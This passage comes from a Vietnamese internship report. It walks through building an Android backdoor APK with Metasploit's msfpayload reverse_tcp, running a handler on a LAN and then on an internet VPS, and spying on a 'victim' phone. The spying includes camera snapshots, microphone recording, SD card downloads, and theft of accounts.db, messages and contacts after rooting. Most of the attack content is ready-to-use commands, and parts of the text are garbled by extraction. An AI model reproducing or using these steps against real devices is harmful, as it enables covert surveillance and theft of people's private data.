Sau khi hoàn tất phần cuối và khởi động lại, đến giao diện login ta nhập user là

root và password đã đặt ở phần trước.

Vậy là ta đã hoàn tất cài đặt kali linux trên Vmware.

3. Tạo mã độc trên Kali Linux để xâm nhập Android

Ta sử dụng Metasploit framework trên Kali Linux để tạo một payload, khi máy

android tải về và mở payload lên thì sẽ bị xâm nhập và điều khiển. Nếu sử dụng máy

ảo Kali Linux bằng Vmware, ta nên thiết lập phần Network như sau:

Bấm vào VM -> Settings... ở thanh lựa chọn của Vmware

Bấm vào Network Adapter và chọn Bridged: connection directly to the

physical network

Page 36: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

35

Bấm vào Edit -> Virtual Network Editor...

Trên phần Bridge (connect VMs directly to the external network) chọn adapter

của máy thật

Page 37: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

36

Sau đây ta vào phần chính tạo backdoor và xâm nhập điều khiển android. Đầu

tiên mở terminal và gõ dòng lệnh

Msfpayload android/meterpreter/reverse_tcp lhost=192.168.0.104

lport=8080 R > /root/Desktop/files.apk

Page 38: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

37

192.168.0.104 là địa chỉ IP của máy Kali, ta có thể sử dụng lệnh ifconfig để

xem IP của máy Kali

8080 là số port, có thể chọn port khác, không nên chọn các port thường sử

dụng

Lệnh trên sẽ tạo ra 1 file files.apk trên desktop của Kali, đây chính là một

Metasploit reverse tcp backdoor.

Page 39: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

38

Tiếp theo, gõ lệnh msfconsole

Sau khi msfconsile load xong, ta tạo một handler để xử lí dữ liệu truyền về

bằng cách gõ lệnh sau:

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set lhost 192.168.0.104 – nhập địa chỉ IP giống với khi tạo payload ở trên.

set lport 8080 – nhập port giống với port khi tạo payload ở trên.

Page 40: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

39

Exploit

Màn hình sẽ như sau, lúc này ta đang chờ một máy android mở backdoor.

Thử với một máy Galaxy nexus giả lập, tải về files.apk, cài đặt và mở lên được

giao diện như dưới, nhấp vào nút reverse_tcp:

Page 41: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

40

Vậy là ta đã kết nối thành công tới máy Android này, ở msfconsole sẽ như sau:

Page 42: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

41

Để xem thông tin về máy, nhập lệnh SysInfo

Sử dụng camera:

Để xem danh sách camera, nhập webcam_list

Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera xem ở

danh sách camera ở phần trước. Ví dụ như sau:

Page 43: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

42

File hình đã chụp từ camera của máy android là FrumITki.jpeg được lưu ở

/root của máy

Ghi âm

Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy

Page 44: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

43

Lấy file từ sd card

Để vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư

mục

Ví dụ ở đây, ta tải file App.apk trong thư mục download của sdcard

Page 45: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

44

Dùng lệnh cd /sdcard/Download để vào thư mục

Page 46: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

45

Như trên hình, ta thấy 1 file là App.apk, để tải về máy, ta nhập lệnh

Download App.apk

Và file này sẽ được tải về thư mục root của máy Kali

Page 47: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

46

B. Thực hiện trên môi trường internet

I.Cài mã độc trên VPS: Cài đặt Metasploit lên VPS

1. Giới Thiệu

Metasploit là một công cụ khai thác lỗ hổng của các hệ điều hành, dùng để kiểm

tra, tấn công và khai thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ

hướng đối tượng Perl, với những components được viết bằng C, assembler, và

Python. Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows,

MacOS.

2. Cài đặt

Ta vào trang chủ của Metasploit để tải Metasploit phiên bản mới nhất về :

http://www.metasploit.com/ ( hoặc ta có thể vào trang download của Metasploit :

http://www.rapid7.com/products/metasploit/download.jsp ).Ta chọn phiên bản

Community miễn phí và dùng cho nghiên cứu.

Sau khi tải về, ta cài đặt như những phần mềm khác.

Chọn folder cài đặt:

Page 48: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

47

Cổng của dịch vụ Metasploit sẽ sử dụng, mặc định là 3790:

Chọn server và ngày hết hạn ( ta để mặc định):

Page 49: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

48

Quá trình cài đặt của Metasploit:

Page 50: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

49

Tiến trình hoàn tất, chọn Finish. Vậy là ta đã cài đặt thành công Metasploit.

II. Từ VPS điều khiển thiết bị ( điện thoai Android) qua internet

Đầu tiên, ta sử dụng Kali Linux để tạo file APK làm backdoor để hack vào

Android như trên mang Lan với địa chỉ IP là địa chỉ của VPS (nếu ta đăng kí sử dụng

Metasploit trên VPS máy ảo của Metasploit.com thì địa chỉ là địa chỉ của máy ảo VPS

được cung cấp).

Chúng ta vẫn sử dụng lệnh Msfpayload

android/meterpreter/reverse_tcp lhost=14.0.21.184 lport=4444 R >

/root/Desktop/files.apk (ở đây địa chỉ VPS là 14.0.21.184)

Page 51: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

50

Ta khởi động Metasploit Console trên VPS ( ta phải đăng nhập vào địa

chỉ máy ảo VPS bằng Remote Desktop Connection trước nếu dung máy ảo

VPS đăng kí sử dụng qua mạng ).

Kế tiếp ta thực hiện các bước xâm nhập giống như hack diện thoại

android bằng Kali Linux, chỉ khác ở địa chỉ IP là IP của VPS:

Use exploit/multi/handler

Set lhost 14.0.21.184 (địa chỉ IP của máy VPS)

Set lport 4444

Run (giống lệnh exploit trên Kali Linux)

Page 52: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

51

S

a

u

k

h

i

m

á

y

n

n nhân tải về file apk đã được tạo ra và mở lên, máy android đó sẽ bị hack.

Page 53: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

52

C. Một số câu lệnh sử dụng trong Metasploit

Để biết thêm về các lệnh có thể thực hiện ta dùng help

Để xem thông tin về máy, nhập lệnh SysInfo

Để xem các tác vụ đang chạy gõ ps

Xem ip của máy bị hack ta gõ ipconfig

Xem danh sách thư mục, file gõ ls

• Sử dụng camera:

Để xem danh sách camera, nhập webcam_list

Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera xem

ở danh sách camera ở phần trước.

• Ghi âm

Để thực hiện ghi âm, nhập lênh record_mic x với x là thời gian ghi âm và file

ghi âm sẽ được lưu về máy

• Lấy file từ SD card

Để vào SDcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư

mục

Dùng lệnh cd /sdcard/Download để vào thư mục

Để tải về máy, ta nhập lệnh: Download App.apk và file này sẽ được tải về thư

mục root của máy Kali

Để đánh cắp tin nhắn hay danh bạ thì ta sao lưu và ta chỉ cần tải file sao lưu

về.

Để upload gõ lệnh upload

Gõ shell để vào lệnh

kiểm tra xem có root chưa gõ

Page 54: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

53

su

whoami

Nếu báo unknown id is 0 tức là đã root

ls -l danh mục file và các quyền

cd để chuyển hướng thư mục

Để ăn cắp tài khoản, mật khẩu, file apk và thay đổi các quyền

/DATA

/DATA/APP

/DATA/SYSTEM

/DATA/SYSTEM/accounts.db

/DATA/SYSTEM/SYNC/accounts.xml

/SYSTEM/APP/

Để xem danh sách và down load các file hay thay đổi các file trong ROM

đầu tiên phải gõ lệnh SU để có toàn quyền truy cập

Để có đường dẫn đầy đủ dùng lệnh chmod -R 777 path to filename

Ví dụ chmod -R 777 /data

^C để quay lại

Sử dụng SQLite để mở file db

Page 55: Bao cao cuoi ki

BÁO CÁO THỰC TẬP CUÔI KỲ

54

D. Video hướng dẫn

o Hướng dẫn cài đặt Genymotion:

https://www.youtube.com/watch?v=cwJTJHnIueA&feature=youtu.be

o Hướng dẫn cài đặt iCalendar tren Android SDK:

https://www.youtube.com/watch?v=4Vquz5jim0g

o Hướng dẫn cài đặt Kali Linux trên VMware:

https://www.youtube.com/watch?v=DSTEsV6aGqM&feature=youtu.be

o Hướng dẫn cài đặt Metasploit trên VPS:

https://www.youtube.com/watch?v=hy-5XzgpkrU&feature=youtu.be